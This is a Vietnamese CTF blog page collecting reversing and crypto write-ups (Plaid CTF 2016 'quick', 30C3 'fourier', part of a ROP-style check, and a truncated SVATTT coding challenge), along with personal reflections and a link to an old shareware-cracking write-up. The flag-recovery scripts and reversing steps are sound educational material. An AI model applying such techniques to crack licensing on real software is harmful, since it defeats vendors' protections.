00001759 .text:isnanl+3C or edx, eax ; Logical Inclusive OR EDX=E9EFF500 CF=0
00001759 .text:0805D7B4 add ebx, esi ; Add EBX=0883B5FA CF=0
...
Debug để thấy giá trị các biến, ta thấy rằng chương trình thực hiện việc lấy từng dword trong key (sau khi đã xor với chuỗi MD5), rồi trừ cho ECX, và OR vào EDX. Khi bắt đầu, EDX = 0. Các giá trị của ECX lần lượt như sau:
|
|
1
|
|
ecx = [0x9b5f4690, 0x17541d0f, 0x5F9E4B1B, 0xCD0C58E0, 0xA95460AC, 0x034F1E1C, 0x6CA02530, 0xE61D02BD, 0xBE5435B4, 0x3B4D1B15, 0x668F7B1D, 0xD81B1AF9, 0xB3646CB4, 0x00000009]
|
|
1
2
3
4
5
6
|
|
00001759 .text:_IO_default_showmanyc mov eax, 0FFFFFFFFh EAX=FFFFFFFF
00001759 .text:isinfl+55 and eax, edx ; Logical AND SF=1
00001759 .text:smtp_multi_statemach+25 pop ebx EBX=FFFDF620 ESP=081ACAD0
00001759 .text:malloc_usable_size+1E cmovnz eax, ebx ; Move if Not Zero (ZF=0) EAX=FFFDF620
00001759 .text:memcpy:loc_80AD35D mov edi, eax EDI=FFFDF620
00001759 .eh_frame:081887E4 add esp, edi ; Add ESP=0818C108 CF=1 PF=0 SF=0
Ở đây lại là một trick tương tự mà mình đã nhắc đến phần đầu bài, khi mà cờ ZF sẽ ảnh hưởng đến luồng thực thi của chương trình. Cờ ZF được quyết định ở câu lệnh AND EAX, EDX, và vì EAX = 0xFFFFFFFF, EDX cần bằng 0 để cờ này được bật.
Ta nhớ rằng EDX là phép OR của mọi giá trị EAX – ECX, do đó để EDX = 0 thì mọi hiệu EAX – ECX phải bằng 0, hay nói cách khác, EAX phải bằng ECX. Đoạn code sau, như mọi khi, mang lại cho chúng ta flag:
|
|
1
2
3
4
5
6
7
8
|
|
h = 'c0050bdd747721646f14ff008c6978b9'.decode('hex')
ecx = [0x9b5f4690, 0x17541d0f, 0x5F9E4B1B, 0xCD0C58E0, 0xA95460AC, 0x034F1E1C, 0x6CA02530, 0xE61D02BD, 0xBE5435B4, 0x3B4D1B15, 0x668F7B1D, 0xD81B1AF9, 0xB3646CB4, 0x00000009]
flag = ''
for i in xrange(len(ecx)):
hi = i % 4
s = pack('I', unpack('I', h[hi * 4:hi * 4 + 4])[0] ^ ecx[i])
flag += s
print flag[:0x35]
Nếu bạn thắc mắc tại sao với cách làm hư cấu thế này, mà mình lại có thể trở thành người giải ra thứ hai (:”>), thì bạn thắc mắc đúng rồi đấy. Trong lúc thi mình không hề dùng cách này. Hihi.
#
[[Plaid CTF 2016] quick (Re175)](http://ctf.yeuchimse.com/plaid-ctf-2016-quick-re175/)
Tôi cảm thấy mình cần phải thức tỉnh, khi mà hàng ngày vẫn có biết bao lượt truy cập vào blog này, trong khi last post của nó đã cách đây hơn 1 năm. Tôi thật tệ.
## quick
Người lười như tôi thường sau khi down đề về sẽ mở nó bằng notepad, xem mấy byte đầu thấy ELF thì tôi sẽ kéo nó vào IDA 32 bit, nếu sai tôi lại kéo nó sang IDA x64. Dạo trước có đợt tôi quyết tâm thoát lười, sau khi xem vài byte đầu bằng notepad tôi vẫn ráng xem thêm vài dòng bên dưới, nếu thấy x86-64 thì chỉ phải kéo một phát vào IDA là đúng luôn. Lâu không tập, tôi mất cmn luôn kỹ năng ấy.
Ok, bài này là ELF x64. Xem danh sách hàm trong IDA bạn sẽ thấy nó dùng Swift, để chạy nó chúng ta cần file bị thiếu bên dưới (hãy dùng Ubuntu 14.04 nếu muốn thành người văn minh):
|
|
1
2
3
4
5
6
7
8
|
|
➜ Desktop ldd ./quick
linux-vdso.so.1 => (0x00007fff4f5a3000)
libswiftCore.so => not found
libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fa36792c000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fa367626000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fa367410000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa36704b000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa367c30000)
Hàm main khá dài, tôi không biết nó làm trò con bò gì, nhưng hàm check key nằm ở 0x403660. Nó cũng không ngắn gì cho cam. Chúng ta có 2 mảng 33 phần tử, kiểu thế này (tôi không paste code IDA ở đây vì tôi không thích):
|
|
1
2
|
|
arr1 = [0x81, 0x74, 0x87, 0x79, 0xB0, 0x6A, 0xAA, 0xA7, 0x68, 0x94, 0xA4, 0x7B, 0xAF, 0x89, 0xD4, 0xD1, 0x92, 0xBE, 0x94, 0xD8, 0x92, 0xCC, 0xDA, 0xD1, 0xD3, 0xA9, 0xD3, 0xAA, 0xEC, 0xA8, 0xDD, 0xEF, 0xFA]
arr2 = [0x50, 0x43, 0x8A, 0x64, 0xED, 0xA6, 0xAB, 0x93, 0xCC, 0xEB, 0xC2, 0x9A, 0xFA, 0x6A, 0xAB, 0x93, 0xCC, 0xEB, 0x6A, 0xBB, 0x62, 0x33, 0xD1, 0xF5, 0xC2, 0x9A, 0xFA, 0x6A, 0xBB, 0x62, 0x33, 0xD1, 0xD7]
Hàm check này cần trả về 1, và chúng ta thấy nó trả về 0 ở đây:
|
|
1
2
3
4
5
6
7
8
9
10
11
|
|
_TTSg5Vs5UInt8___TFSag9subscriptFSix(&v70, v60, v66);
v14 = &v69;
v16 = v70;
_TTSg5Vs5UInt8___TFSag9subscriptFSix(&v69, v60, v65);
if ( v16 != v69 )
{
swift_release(v113);
swift_release(v65);
swift_release(v66);
return 0;
}
Bạn sẽ thắc mắc vì sao tôi không rename mấy cái biến trên. Câu hỏi rất hay, tôi xin phép không trả lời.
Dễ thấy rằng nó so sánh v16 với v69. Mà v16 = v70, v70 lấy từ câu lệnh (google “subscript swift” nếu bạn muốn):
|
|
1
|
|
_TTSg5Vs5UInt8___TFSag9subscriptFSix(&v70, v60, v66);
v66, thật tình cờ, được quyết định ngay ở đầu hàm check – là kết quả trả về của hàm 0x403600. Trong hàm này có 2 hàm con, hãy để ý tên các hàm import từ Swift để suy ra chức năng của nó. Tôi tin bạn sẽ làm được, chúng ta đã đọc Conan cả chục năm rồi. Cụ thể: 0x402810 làm nhiệm vụ sort input của ta (bé đến lớn, dùng …ComparablerS_4sortfT_GSaWxS0_S1___, tên dài lắm), còn 0x403050 sẽ tính tổng từng cặp phần tử trong *input của ta* và *input của ta_đã sort*, kết quả chính là v66.
Tương tự như vậy, v69 lấy từ v65, v65 chính là arr1. Và tóm lại, 2 mảng arr1 và mảng v66 phải bằng nhau.
|
|
1
2
3
4
5
6
|
|
def check1(s):
s_sorted = s[::]
s_sorted.sort()
for i in xrange(len(arr1)):
assert s[i] + s_sorted[i] == arr1[i]
Để vượt qua bước check này, bạn chỉ cần 5 phút. Để bỏ cuộc. Hãy sang phần check thứ hai.
Vẫn với skill dò ngược thần thánh, bạn sẽ thấy rằng nó so sánh một mảng x với arr2. Tất nhiên, quan trọng là mảng x được tính thế nào.
|
|
1
2
3
4
5
6
7
8
9
10
|
|
_TFSag9subscriptFSix(&v72, v54, v57, &TMVs9Character);
v52 = v72;
v36 = v73;
v51 = sub_402AD0(v72, v73);
if ( ~v36 & 1 )
swift_release(v52);
v71 = sub_403510(v111, v51);
v34 = &v71;
_TTSg5Vs5UInt8___TFSa6appendfxT_(&v71, &v112);
v111 = v51;
Ở đoạn code trên, v112 chính là mảng x, v57 là *input của ta*, 0x403510 là hàm ror, 0x402AD0 tôi quên cmn rồi (hình như nó chả làm cái khỉ gì). Chuyển sang python:
|
|
1
2
3
4
5
|
|
def check2(s):
n = 0
for i in xrange(len(arr2)):
assert ror(s[i], n & 7) == arr2[i]
n = s[i]
Nhìn qua thì chúng ta cảm giác rằng check2 dễ hơn check1, nhưng nếu thử code thì bạn sẽ thấy là nó không sai. Đoạn code này sẽ cho ta flag:
|
|
1
2
3
4
5
6
|
|
n = 0
s = [0] * 33
for i in xrange(33):
s[i] = rol(arr2[i], n & 7, 8)
n = s[i]
print ''.join(map(chr, s))
Kiểm tra lại flag với check1, thấy đúng luôn. Kỳ lạ.
#
[New Post, New Year ^_^](http://ctf.yeuchimse.com/new-post-new-year/)
Tôi từng có một lời nguyền là trừ khi giành giải nhất một cuộc thi nào đó, chứ không thì tôi không writeup gì hết. Nói gì thì nói, thằng về đầu tiên nói sao cũng được, nói sao cũng đúng, những thằng còn lại rồi cũng sẽ bị quên lãng mà thôi.
Tôi đùa đấy.
Cái blog một thời dễ thương này, bỗng dưng trở thành cái web chết, nửa năm không cất tiếng hân hoan, chẳng phải vì tôi hết cái để viết, mà chủ yếu vì tôi thấy không cần phải viết nữa. Thế quái nào mà trước giờ tôi cứ nghĩ mình vẫn còn trẻ, 9x thì là còn trẻ, rồi bỗng nhìn xung quanh, đứa này đứa kia cũng đã gọi tôi là anh cả rồi. Gặp đứa nhỏ nhắn thì sinh năm 94, mà gặp đứa cao to thì sinh năm 96. Thế cho nên, cái tuổi của tôi không còn được chú ý vì cái sự gọi là trẻ trung nữa, mà giờ người ta chỉ dành mỹ từ đó cho tụi nhóc kia thôi, cái tụi ở trên gọi tôi bằng anh ấy.
Còn về CTF, giờ nói như một bài rap ngày xưa tôi hay nghe, thì các team “mọc lên như cây nấm” vậy. Người đông, team đông, lăn xả nhiều. Hồi giữa năm 2013, tôi lúc đó có thể cày ngày cày đêm mà chẳng vì cái gì cả, trên xe bus có thể lôi quyển vở ra gạch gạch xóa xóa để làm một bài crypto của EMC. Nay thức đến 1h, 2h là đã bắt đầu suy nghĩ, nào là sáng mai dậy sớm sẽ thấy mệt, sáng mai dậy sớm sẽ thấy mỏi, sáng mai đến công ty sẽ nhận ra mình nông nổi và lỡ có ngủ quên thì rất có thể là bị đuổi.
Tôi ít mộng mơ hơn, ít bất chấp hơn, mặc dù nói thật ra thì vẫn chỉ là dạng “trái tim còn muốn yêu nhưng lý trí nó không cho phép”. CTF tôi thấy nó hay thật, nhưng nhiều lúc nó cứ đều đều quá, đánh đố quá, nên sinh chán. Lại cả, CTF bây giờ như một cuộc thi toàn vũ trụ, không phân hạng 1, hạng 2, hạng 3 như bóng đá (về thể thao tôi biết mỗi trò này), nên có cái cảnh là team mạnh thì nhất hoài, còn team chưa mạnh dẫu cố mãi cũng không gặt được thành quả. Kiểu như cho U19 VN đấu với Real ấy. Thua 10 trận còn đá tiếp được, chứ thua đến 99 trận rồi thì chắc cũng chỉ đá nốt cho xong, chứ niềm tin là cạn rồi.
Mà đó là nói về vụ thành tích, chứ về mặt học tập tôi nghĩ CTF có nhiều cái hay, không phủ nhận được. Đợt tôi đăng ký môn học chậm, trường đóng rồi, may nhờ một tẹo sách vở mảng Web mà qua được, rồi nay mới có thể ra trường. Tôi cảm ơn nhiều lắm. Công việc hàng ngày, có tí CTF trong đầu, cũng tự tin hơn hẳn. Tôi nghĩ nếu tự tin hơn thì chắc cũng đẹp trai hơn, cuốn hút con gái hơn. Như hôm trước có ông tôi thấy rõ là khù khờ, đùng một cái kêu cưới vợ, rồi giải trình ra chuyện tình cảm đến tầm gần chục năm. Kỳ diệu.
…
Vừa đi liên hoan về, người cứ lâng lâng, hơi hơi say. Chẳng biết là tôi có còn viết thêm bài nào không nữa. Chẳng biết tôi có còn thi được mấy giải CTF nữa. Tính tôi ưa nghĩ nhiều, sẵn đang miệt mài trong mớ cảm xúc, tôi viết lại vài dòng, lúc tỉnh rồi sợ ngại ngày ngại kia, không viết được, mấy năm sau thì quên mất. Là quên thật, tôi bị suốt.
Tôi rất cảm ơn anh **censored**, dù chả họ hàng gì nhưng bên tôi rất lâu, từ những ngày tôi không có gì cả, cho đến tận lúc tôi trắng tay. Rồi cả khi dìu dắt tôi vào **censored** (xong bỏ đó), tạo cơ hội cho tôi biết đến CTF. Có một giai đoạn tôi không hợp tính của **censored**, nhưng về cơ bản thì rồi cũng quen quen. FA có hai kiểu FA, một kiểu là người tốt, một kiểu là người xấu. Anh là kiểu người tốt, nhưng khá xấu.
Tôi rất cảm ơn tập thể **censored**. Cũng phải gọi là từng ăn nằm với nhau, kề vai sát cánh bên nhau mới đủ. Tôi còn nhớ như in lần đi team building của công ty, ngồi sau xe máy đứa bạn mà tôi vẫn lôi con **censored** ra check FB, chat chit loạn cả lên để theo dõi mọi người thi một giải CTF. Hồi đó tôi mê lắm, xin nghỉ team building để ở nhà thi mà không được, tối trước khi đi vẫn còn cố nhắn gửi mọi người… Hờ hờ hờ… ngày ấy sao mà đẹp quá.
Tôi rất cảm ơn tập thể **censored**. Giải ba **censored** đối với tôi có giá trị hơn giải nhất **censored** rất nhiều. Tôi luôn thừa nhận rằng chúng tôi chỉ có thể giành giải ba là cao, nhưng không thể nói dối rằng tôi không có gì hối tiếc. Tôi thực sự đã có thể có được một kết quả tốt hơn. Nhưng cuộc sống là vậy, quá khứ luôn có vài hoạt cảnh khiến chúng ta muốn quay về và thay đổi nó. Chim sẻ từng đổi nick thành “Giải ba Thái Nguyên” sau khi không thể vô địch, chắc tôi cũng đổi sang “Giải ba **censored**” luôn. Ôi, mới đó mà tôi đã yêu Chim sẻ được gần 5 năm rồi T_T
…
Nếu hỏi tôi trong suốt chặng đường CTF của mình, kỷ niệm nào là đẹp nhất, thì tôi nghĩ đó là giải **censored** **censored**. Cuộc thi này chắc ít người để ý, ít người quan tâm, nhưng đối với tôi, đó là những ngày được đắm chìm trọn vẹn trong nó và rồi nhận được kết quả xứng đáng. Một cuộc thi quyến rũ, những bài thi kích thích (trừ vài bài tương đối gồ ghề, nham nhở) cùng một giải thưởng nhỏ xinh. Tôi từng ao ước sẽ tổ chức được một giải CTF cho các bạn thuộc hạng 2, hạng 3 (tức không phải hạng 1), đề thi dễ thương, có giải thưởng, có tiền, có cúp, có giấy khen. Mỗi cái một chút thôi, nhưng là một người từng đi thi, tôi biết nó có sức khích lệ lớn lao lắm. Xin được giữ ước mơ này lại cho các thế hệ đời sau, dù chắc là cũng không còn mấy cơ hội để được gọi tên nhau…
…
Good game, well played. Chẳng mấy mà đã tới lúc phải tính đến những chuyện khác rồi. Cảm ơn CTF vì tất cả (giải thưởng) nó đã mang lại cho tôi. Xin chúc cho những người từng là đồng đội của tôi gặt hái được nhiều thành công hơn nữa, bay thật xa, xa, xa hơn nữa…
*“Anh không buồn vì mọi thứ, nhưng anh sẽ buồn vì mất em
* *Anh chỉ hối tiếc vì ngày đó… sao không nắm lại mà phải buông…”*
#
[Repost: RE Driver Checker v2.7.4 by P.E Onimusha & Unregistered !](http://ctf.yeuchimse.com/repost-re-driver-checker-v2-7-4-by-p-e-onimusha-unregistered/)
Rất cảm ơn anh Kiên đã cho em thấy là ngày xưa em viết văn như thế nào, mới đó mà cũng đã 4 năm, đầu óc ngày một ngu đi còn các chi thì vẫn gầy nhẳng…
Nhiều cái, nghĩ cho cùng thì cũng chỉ là thú tiêu khiển, bóng đá, nhảy dây, breakdance, hát hò, crack, ctf, học hành… chẳng đi đến đâu cả, leo lưng chừng xong lại rớt bịch xuống đất. Đến tuổi rồi thì cũng như người ta, ham yêu đương, lấy vợ, đi làm kiếm lương, mang về mua gạo, mua thịt, mua chai dầu ăn để đun nấu, mua cái chổi để quét nhà, mua cái ca để uống nước.
Good game, well played…
[https://kienmanowar.wordpress.com/2014/07/15/re-driver-checker-v2-7-4-by-p-e-onimusha-unregistered/]
P.S: (Lỗi bảo mật được che giấu suốt 4 năm) Bài này theo em nhớ thì thằng Unreg nó sang tận nhà em để hint. Hoàn toàn là lỗi của nó, no fun.
#
[byectf](http://ctf.yeuchimse.com/byectf/)
Chúc mừng năm mới tới tất cả những bạn đang đọc mấy dòng chữ này (bạn nào chưa đọc thì đến lúc đọc sẽ chúc sau).
Một năm đã trôi qua xét theo tờ lịch, và nửa năm đã trôi qua xét theo sự sống còn của site này. Mình xin phép thông báo rộng rãi đến toàn thể các bạn quan tâm, là mình sẽ cho nó nghỉ ngơi dưỡng sức, thời điểm trở lại chưa biết trước (vì mình dạo này bu di quá, không lo cho nó được nữa, chia tay sớm bớt đau bớt khổ)
Trong giai đoạn thiếu hụt tình cảm nghiêm trọng này, thật may mắn là mình đã kịp tìm ra một nơi chốn vô cùng bổ ích khác, đó là:
VGxSWk1FNTZZelJPVkUweFRucGFhVTE2UlRCT2FsSnNUbFJSTVZsVVZURk9WR013VG5wVmVVNVVR VEZaVkZVelRYcEZNbGxVV1RGTwpSRmt4VFdwak1VNXFUVEJPZWxFeVRtcG5NUXBPYWxVd1RrUlZl azFxVlRGT2JVMHhUV3BTYlU1VVVUSmFSRkV5VG5wTk1VMTZXbXhPClIwVXhUbFJaZVU1RVdUQlpW Rmw0VGxSUk1VNXFWVEZOZWtVeVRYcFZNazVYUlRGT1ZGVXhDazV0U1hwUFZGVXpUbFJKZWsxRVRY aE4KZWsweFRtcFJNMDE2VlROT2VsVXpUbTFKZWs1VVVUSk9SMVV4VG1wVk1rNVVTWGRaVkZVeVRr UlZNVmxVV1hoT1ZGa3lXV3BXYUU1VQpXVElLVGxSYWFrNVVTVEZQVkZsNlRrUlZNVmxVVW14T1ZF a3lXbFJSZVU1Nlp6Rk9hbFV6VFhwRmVrNUVWVEJPZW1NelRVUlpOVTVVCldURk9SRkY1VFhwVk1V NXFVVE5PZWxFeFRYcFZNZ3BPYlVsNlRVUmpNMDVIVlRGT2FsVXlUbFJqTVU1cVVURk9la0V5VFZS Vk5VNVUKWTNwTlZGSnNUbXBSZWsxVVZYbE9lbEV5VFhwUk5FNUhSVEJhVkZVeFRsUm5NRTFxVlhk T1ZHc3hDazU2WXpST1ZGa3lUa1JOZUU1VQpTVE5OYWxVeFRtMU5NMDFFV21wTlIwVXlUVlJrYUU1 RVdUQk9hbFV5VG0xTk1VMXFVbWxPVkZFeVdrUlZNazU2U1RGT2FsVTBUbXBuCk1VNVVWVElLVFhw Tk1FMXFWVEJPVkdzeFRtcFZNVTE2UlRGT2FsVXlUbGRGTVU1VVZYaE9iVWw2VDFSWk5FNXFTVEJP YW1OM1RucFoKTVU1cVVUTk9lbEV4VFhwWmVVNXRTWHBOVkZVeVRrZFZNUXBPVkZVeVRsUm5NazFx VlROT2FtY3hUVVJSZWs1dFRURlBWR016VGxSWgpNVTlFV1RST1ZGVXlUV3BSTWs1SFJUSk5WRlpv VGxSWk1VNVVUWGhPYWxFd1RtcFdhRTVVVlRGTlZGcHBDazE2VlRKUFJFSm9UbXBKCk1FNTZZek5O ZWtFeFRtcFJNMDU2WnpGTmVsVXhUbTFKZWsxVVZUSk9SMVV4VGtSV2FFNVhSVEpPVkZwcVRrZEZN VTFFVm1oT1ZHTjYKVFZSU2JFNXFWVEFLVG1wVmVVNTZVVEpOZWxFeVRsZEZNRnBVV1hoT01rVXhU bXBSTlU1VVdUSlplbFY1VGtkWk1VNUVUWGhPUjBVdwpUbnBaZUUxNlRUSlBSRkV3VG1wRk0xbFVW VEpPUkZreFRtcGFhZ3BPYW1jelRucFZNVTVFV1RGWlZGRXpUbXBGTTFsVVVYbE9WRlV5ClRXcFZO RTVFU1RCWmFsVXdUbFJaTVU1VVRURk9WRWt4VG1wVk1rNTZVWGRaVkZreFRrUlZlazVFVW1sT1Yw VXhDazU2WXpST2Vra3kKVGxSUk1rNVVTVE5PUkZsNlRrUlpNRmxVVW14T1IxRXdUa1JSTVUxNlNU Rk9WRnBxVGxSSk1GcHFWVEJOZWtreFRtcGplazVVV1RGUApSR04zVGxSVk1rMXFWVEFLVGtSWk1V MTZWVEJPVkZreFRsUk5lRTVxVFRGT2FsVXlUbFJWTVUxNldtbE5lbXN4VFhwU2EwNVVXVEZPCmFr MHdUbFJaTUU1RVVYbE9WRTB4VGxSYWFVMTZSVE5OYWxKc1RsUm5NQXBPYWxsNFRrZFJlazFxVlhs T2FrVXhUbXBhYVU1WFJUTk4KYWxreFRrUlpNVTFxWXpCTlIwVXdXa1JWTVU1NlFUSlplbGw0VGpK Rk1VNXFWVEpPVkZreFRucE5kMDU2WnpGT1JFMTRDazVYUlRCTwplbFV5VGxSbk1sbDZWVFJPVkZs NlRYcFJlVTVVWnpGUFZGVXhUbFJWZWsxVVVteE9hbU16VFVSV2FFNXFWVEpaYWxwcVRrZE5NVTVx ClVUSk9hbWN6VG5wVk1rNXRTWG9LVFZSamVVNUhWVEZPYWxVeVRsUlJNVTVxVVRGT1YwVXhUVlJW TVU1dFNURlpWRkpwVG1wTk1sbDYKVlhsT2VrMHhUbFJhYWs1NlFUQmFWRlV5VG0xUk0wOUVWVEpP VkZreFRucE5lQXBOZWxFeFRrUk5lVTVFV1ROTmFrSm9UbXBGZWsxNgpXVEJPVkZVeVRXcGFiRTVF U1ROTlZGVXdUbTFKTVU1VVRYaE9WRmt4VG1wWk1FNVVWVEZOYWxwcFRYcHJNbGw2V1hsT1JGa3hD azVVCll6Tk9WRmt3VG5wTk1VNTZZekZOVkZwcFRYcEZNRTU2V1hsT1JHY3dUbXBWTTA1VVdUQk9W RkpvVGxSQk1WbFVWVE5OZWtVd1dsUloKTVU1dFRURk5hbFV5VGxSVk1scEVVVElLVG1wbk1rMVVa R2hPVkZrelQwUlJlazV0VFRCYVZGVXhUbFJGTWxscVRUVk9WR014VFdwYQphazVVV1hwT1JGVXlU a1JaTWs5RVl6Tk9WRmt5V1dwTmVFNVVXWGRaVkZKclRsUlpNUXBPYWxVeFRsUmpNRTU2WXpST1ZF RXhUMVJWCk0wNTZUVE5QUkZKc1RtMU5NVTFVWXpST1ZGVXlXWHBXYUU1dFNUSk9SRTE2VGtSSk1V MUVWVEpPYlVreFRtcFZNazVxVlRGT2Fsa3cKQ2s1NlVUSk5lbEV4VFh
Lưu ý: Nếu các bạn vào ngay bây giờ, sẽ nhận được một thông báo không mấy dễ chịu, tuy nhiên đó không phải là lỗi (nó cũng không phải là một tính năng)
#
[[30C3 CTF] fourier (Numbers200)](http://ctf.yeuchimse.com/30c3-ctf-fourier-numbers200/)
Heres one for those that like numbers and mathematics…
# Mở bài
Chúng ta được cung cấp cho 1 file
**fourier **(elf) và 1 file **flag.four** (data). File **fourier **dùng để mã hóa, còn file **flag.four**, dĩ nhiên, là flag đã được mã hóa.
# Thân bài
Sau một chút thời gian (rất dài) bỡ ngỡ khi thấy các thím ấy sử dụng
[GMP ](http://en.wikipedia.org/wiki/GNU_Multiple_Precision_Arithmetic_Library)cho việc tính toán, mình cũng thể hiện được phẩm chất vượt trội trong thao tác mò code để mô phỏng lại thuật toán mã hóa như sau (nhìn chung thì khá dễ, mỗi tội hơi khó) [:](http://ctf.yeuchimse.com/wp-content/uploads/2013/09/emo_popo_shame.png)
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
|
import random
random.seed(69)
in_file = open('flag', 'r').read()
out_file = open('flag.four', 'wb')
secret = int(in_file.encode('hex'), 16)
while (secret >= 24):
random_number = number_3 = 0
number_3 = secret - 4
number_3 <<= 2
number_3 -= 5
if (number_3 > 0x444):
number_3 = 0x444
random_number = random.randint(0, number_3 - 1)
random_number += 5
number_4 = 0
while (number_4 != random_number):
number_4 += 1
out_file.write('4')
out_file.write(' ')
number_4 = 4
number_5 = 0
while (number_4 < secret):
out_file.write('4')
number_5 = number_4
number_4 *= random_number
number_4 += 4
secret -= number_5
out_file.write(' ')
while (secret != 0):
secret -= 1
out_file.write('4')
out_file.close()
Ngoại trừ các thao tác mà mình đã đối chiếu và thấy khá tương đồng, vấn đề duy nhất tồn đọng là hàm random.
|
|
1
2
|
|
.text:0000000000400CA1 lea rdi, [rsp+98h+random_handle] ; Load Effective Address
.text:0000000000400CA6 call ___gmp_randinit_default ; Call Procedure
Target sử dụng hàm
**___gmp_randinit_default** và hơi lạ là khi mình debug lại thấy các kết quả random bị lặp lại. Mình cũng mất hơi nhiều thời gian cho việc cài đặt và chạy thử cái GMP này, rồi nhờ luật nhân quả nên sau đó điểm sáng xuất hiện:
|
|
1
2
3
4
|
|
number_4 = 0
while (number_4 != random_number):
number_4 += 1
out_file.write('4')
Ở đây ta thấy rằng chương trình làm một việc, đó là ghi ra giá trị sau khi random (mỗi đơn vị ứng với một byte ‘
**4**‘). Và tổng quan thì cái thuật toán mã hóa khi hiểu đơn giản sẽ như sau:
- Nếu
**secret**còn lớn hơn **24**, thì chạy một vòng lặp, mỗi lượt ghi ra 2 giá trị:
- Khi secret nhỏ hơn 24, ghi ra secret.
Như thế, nếu ta chia file
**flag.four** ra các phần ngăn cách bởi dấu cách (0x20), giá trị mỗi phần là độ dài của phần đó (vd ‘ **444**‘ = **3**), thì hàm giải mã có nhiệm vụ:
- Đọc ngược từ phần cuối về phần đầu (tức phần đầu tiên được đọc sẽ là phần cuối của file).
- Gán
**secret = phần đầu**.
- Chạy vòng lặp cho đến khi hết nội dung:
- Đọc phần tiếp theo, đó chính là
**số lần lặp của X_LOOP**.
- Đọc phần tiếp theo, đó chính là
**random_number**.
- Tất cả giá trị đều đã đủ, ta có thể tính toán được
**number_5**, và thêm vào secret.
- Đọc phần tiếp theo, đó chính là
- Chuyển đổi secret từ DEC qua ASCII.
(lý do vì sao lại đọc từ cuối trở về mà không đọc từ đầu trở đi trong khi 2 hướng nó như nhau, thì là vì, mình thích thế đấy
Code minh họa:
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
|
cipher = open('flag.four', 'r').read()
parts = cipher.split(' ')
secret = len(parts[len(parts) - 1])
part_index = len(parts) - 2
while (part_index > 0):
loop_count = len(parts[part_index])
random_number = len(parts[part_index - 1])
number_4 = 4
number_5 = 0
for i in range(loop_count):
number_5 = number_4
number_4 *= random_number
number_4 += 4
secret += number_5
part_index -= 2
print hex(secret)[2:-1].decode('hex')
# Kết bài
|
|
1
|
|
30C3_the_challenge_is_named_fourier_what_else_did_you_expect?
#
[[SVATTT CTF 2013] Điệp vụ bất khả thi (ACM200)](http://ctf.yeuchimse.com/svattt-ctf-2013-diep-vu-bat-kha-thi-acm200/)
Trong lúc các đồng đội của mình đang thực hiện thao tác trên các hệ thống nội bộ, Võ bằng kinh nghiệm truy vết của mình tìm ra 1 dịch vụ lạ trên một máy chủ đặt tại nhà riêng của Snowden. Tuy nhiên dịch vụ được bảo vệ bởi một số đoạn mã với yêu cầu vô cùng phức tạp mà chỉ có Anonymous mới nắm giữ bí quyết khởi tạo. Công việc tưởng bất khả thi nhưng chưa đầy 1 nốt nhạc sau, Võ đã nắm trong tay kết quả…
Challenge: nc 138.91.39.179 45456
Không đội nào giải được? Ok, đây là lúc để mình tỏa sáng
# Nội dung chính
Kết nối đến server, ta nhận được lời chào:
Prove that you are one of us! This is the new algorithm we have developed for our VenaSploit tool
We give you a set of character, you need to give me back a long enough string such that every 4 consecutive bytes is unique
All characters in the charset should be included for it to be valid. A charset is given between the tag <pre>
Example: <pre>01</pre> length: 8 , Answer: 00010111
Charset: <pre>01</pre>
Give me a pattern of size at least 16 using the given charset:
Như vậy, nhiệm vụ của chúng ta là tìm một chuỗi có kích thước n, được tạo bởi một tập các ký tự cho trước, với điều kiện là 4 ký tự bất kỳ liền kề không được trùng nhau (mình gọi là tính chất UEY). Ví dụ chuỗi:
0001
11000 1100
là không hợp lệ, do
**1100** xuất hiện 2 lần. Còn một điều kiện nữa là tất cả các ký tự trong charset đều phải được dùng, tuy nhiên điều này không mấy quan trọng.
## Thuật toán
Kể từ ngày tham gia một cuộc thi chính thức đầu tiên (DEFCON thì phải) và giải được 2 bài thuộc thể loại coding tương tự, mình đã hiểu rằng mình sẽ yêu nó. Ít nhất thì đến bây giờ, mình vẫn còn cảm thấy hứng thú và bình yên với cái thể loại nhí nhảnh và nhộn nhịp này
Bắt đầu từ thử thách thứ nhất, tạo chuỗi dài
**16** ký tự, charset là **01**. Ta thấy kích thước charset là 2, và 2^4 = 16 (4 chính là kích thước nhóm ký tự không lặp lại). Người thì bảo là trùng hợp, nhưng mình thì, cũng nghĩ thế
Lúc đầu, mình cho rằng bài này cần đến thuật toán quay lui, nhưng sau đó, mình không chứng minh, nhưng đoán rằng có thể chứng minh được, là tại mỗi bước, luôn tìm được ký tự tiếp theo để chuỗi mới vẫn là chuỗi hợp lệ (thỏa mãn tính chất UEY). Lý do thì rất đơn giản: mình đã thử, và hình như đã thành công.
Nhưng như vậy vẫn là chưa đủ, điều quan trọng nằm ở việc tối ưu code, nhất là việc kiểm tra tính hợp lệ của chuỗi mới sau mỗi bước. Ok, việc chạy một vòng lặp đi suốt chiều dài chuỗi vài nghìn ký tự tốn không đáng là bao nhiêu công sức, tuy nhiên nếu tưởng tượng rằng cái công sức đó bị nhân lên vài nghìn lần, mọi thứ sẽ khác. Thêm nữa, mỗi khi thêm mới một ký tự, tại sao chúng ta lại phải kiểm tra lại cái phần đã được kiểm tra trước đó? Máy yếu thực sự không thích điều này
Giải pháp mình đưa ra sau vài tiếng đứng chôn chân trên xe bus, đó là lên danh sách sẵn các pattern (nhóm 4 ký tự), gọi là
**available_patterns** dựa trên charset bài cho, khởi tạo giá trị 1 cho mỗi pattern (cũng chính là mỗi phần tử của mảng: key => value), và mỗi khi thêm một ký tự, ta kiểm tra pattern mới nhất (4 ký tự cuối của chuỗi) có nằm trong **available_patterns** hay không (giá trị của phần tử = 1), nếu có, ta coi ký tự vừa thêm hợp lệ (chưa được dùng), ta sẽ sử dụng nó, đồng thời gán phần tử ứng với pattern đó bằng 0; ngược lại, nếu giá trị của phần tử đã bằng 0, tức pattern đó đã được sử dụng, ta bỏ qua ký tự vừa thêm và thay bằng ký tự khác. Việc truy xuất giá trị một phần tử của mảng là nhanh vô cùng, nên ta khỏi lo bị chậm
